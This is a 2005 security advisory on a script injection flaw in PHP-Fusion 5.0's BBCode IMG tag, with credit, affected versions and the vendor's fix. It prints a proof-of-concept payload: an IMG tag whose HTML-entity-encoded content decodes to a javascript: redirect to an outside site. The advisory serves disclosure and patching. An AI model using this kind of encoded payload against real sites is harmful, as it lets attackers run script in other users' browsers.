PHP-Fusion BBCode IMG Tag Script Injection Vulnerability

Bugtraq ID:	12751
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 08 2005 12:00AM
Updated:	Mar 08 2005 12:00AM
Credit:	Discovery is credited to FireSt0rm <[email protected]>.
Vulnerable:	PHP-Fusion PHP-Fusion 5.0
Not Vulnerable:	PHP-Fusion PHP-Fusion 5.0 1 Service Pack

PHP-Fusion BBCode IMG Tag Script Injection Vulnerability

PHP-Fusion is reported prone to a script injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input prior to including it in dynamically generated content.

An attacker can supply ASCII equivalents of arbitrary HTML and script code through the BBCode IMG tag to trigger this issue and execute arbitrary script code in a user's browser.

PHP-Fusion 5.00 is reportedly affected by this issue.

PHP-Fusion BBCode IMG Tag Script Injection Vulnerability

An exploit is not required.

The following proof of concept example is available:
[IMG]&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#104&#116&#116&#112&#58&#47&#47&#119&#119&#119&#46&#97&#108&#98&#105&#110&#111&#98&#108&#97&#99&#107&#115&#104&#101&#101&#112&#46&#99&#111&#109&#47&#102&#108&#97&#115&#104&#47&#121&#111&#117&#46&#104&#116&#109&#108&#39[/IMG]

PHP-Fusion BBCode IMG Tag Script Injection Vulnerability

Solution:
The vendor has released PHP-Fusion 5.01 Service Pack to address this issue.


PHP-Fusion PHP-Fusion 5.0

• PHP-Fusion php-fusion-501-05-03-2005.zip
  http://prdownloads.sourceforge.net/php-fusion/php-fusion-501-05-03-200 5.zip?download

PHP-Fusion BBCode IMG Tag Script Injection Vulnerability

References:

• PHP-Fusion Homepage (PHP-Fusion)
  
• PHP-FUSION 5.* XSS VULNERABILITY (FireSt0rm )